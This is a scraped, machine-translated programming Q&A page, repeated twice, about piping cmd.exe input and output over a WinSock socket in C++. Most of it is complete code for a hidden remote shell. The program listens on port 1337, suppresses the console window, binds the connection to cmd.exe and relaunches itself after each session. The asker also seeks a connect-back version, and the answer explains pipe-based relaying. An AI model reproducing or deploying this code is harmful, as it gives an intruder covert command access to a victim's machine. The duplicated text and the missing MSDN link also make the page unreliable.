StdIn / StdOut / StdErr 重定向到 WinSock 连接
StdIn / StdOut / StdErr redirection to WinSock connection
我已经尝试重定向 cmd.exe 的输入和输出很长一段时间了,虽然我已经弄清楚如何在 C# 中执行此操作,但我仍然不知道如何操作在 C++ 中正确实现它。
我得到的最远的是 popen()
,它似乎每次我向它传递命令时都会重新打开进程,导致无法使用像 cd 这样的命令,以及我无法使用的以下服务器端功能端口到客户端:
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winsock2.h>
#include <iostream>
using namespace std;
void ServerStart()
{
WSADATA wsa;
SOCKET s;
SOCKADDR_IN sAddr;
USHORT port;
PROCESS_INFORMATION pi;
STARTUPINFO si;
port = 1337;//Set listening port
memset( &si, 0, sizeof( si ) );
si.cb = sizeof( si );
si.wShowWindow = SW_HIDE;
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
sAddr.sin_addr.s_addr = INADDR_ANY;
sAddr.sin_port = (port >> 8) | (port << 8);
sAddr.sin_family = AF_INET;
WSAStartup( 0x0202, &wsa );
s = WSASocket( AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0 );
bind( s, (LPSOCKADDR)&sAddr, sizeof( sAddr ) );
listen( s, 5 );
__asm
{
push ebx
mov ebx, s
}
s = accept( s, NULL, NULL );//Accept Client
__asm
{
push ebx
call DWORD PTR [closesocket]//Close if error.
pop ebx
}
si.hStdInput = (HANDLE)s;
si.hStdOutput = (HANDLE)s;
si.hStdError = (HANDLE)s;
CreateProcess( NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi );//Start the remote process
WaitForSingleObject( pi.hProcess, INFINITE );//Allow Client to control remote process
CloseHandle( pi.hProcess );
CloseHandle( pi.hThread );
closesocket( s );
WSACleanup();
ServerStart();//Server Start Loop
}
对于如何在没有听力部分的情况下完成上述操作的任何帮助或建议,我将不胜感激。提前致谢:)
您不能直接使用 WinSock 套接字句柄进行 stdin/out/err 重定向。请改用 CreatePipe()
中的管道。您将不得不编写额外的代码
- 从套接字读取入站数据并将其写入标准输入管道
- 从 stdout/err 管道读取数据并将其写入套接字。
MSDN 有一个使用管道进行重定向的示例:
我已经尝试重定向 cmd.exe 的输入和输出很长一段时间了,虽然我已经弄清楚如何在 C# 中执行此操作,但我仍然不知道如何操作在 C++ 中正确实现它。
我得到的最远的是 popen()
,它似乎每次我向它传递命令时都会重新打开进程,导致无法使用像 cd 这样的命令,以及我无法使用的以下服务器端功能端口到客户端:
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winsock2.h>
#include <iostream>
using namespace std;
void ServerStart()
{
WSADATA wsa;
SOCKET s;
SOCKADDR_IN sAddr;
USHORT port;
PROCESS_INFORMATION pi;
STARTUPINFO si;
port = 1337;//Set listening port
memset( &si, 0, sizeof( si ) );
si.cb = sizeof( si );
si.wShowWindow = SW_HIDE;
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
sAddr.sin_addr.s_addr = INADDR_ANY;
sAddr.sin_port = (port >> 8) | (port << 8);
sAddr.sin_family = AF_INET;
WSAStartup( 0x0202, &wsa );
s = WSASocket( AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0 );
bind( s, (LPSOCKADDR)&sAddr, sizeof( sAddr ) );
listen( s, 5 );
__asm
{
push ebx
mov ebx, s
}
s = accept( s, NULL, NULL );//Accept Client
__asm
{
push ebx
call DWORD PTR [closesocket]//Close if error.
pop ebx
}
si.hStdInput = (HANDLE)s;
si.hStdOutput = (HANDLE)s;
si.hStdError = (HANDLE)s;
CreateProcess( NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi );//Start the remote process
WaitForSingleObject( pi.hProcess, INFINITE );//Allow Client to control remote process
CloseHandle( pi.hProcess );
CloseHandle( pi.hThread );
closesocket( s );
WSACleanup();
ServerStart();//Server Start Loop
}
对于如何在没有听力部分的情况下完成上述操作的任何帮助或建议,我将不胜感激。提前致谢:)
您不能直接使用 WinSock 套接字句柄进行 stdin/out/err 重定向。请改用 CreatePipe()
中的管道。您将不得不编写额外的代码
- 从套接字读取入站数据并将其写入标准输入管道
- 从 stdout/err 管道读取数据并将其写入套接字。
MSDN 有一个使用管道进行重定向的示例: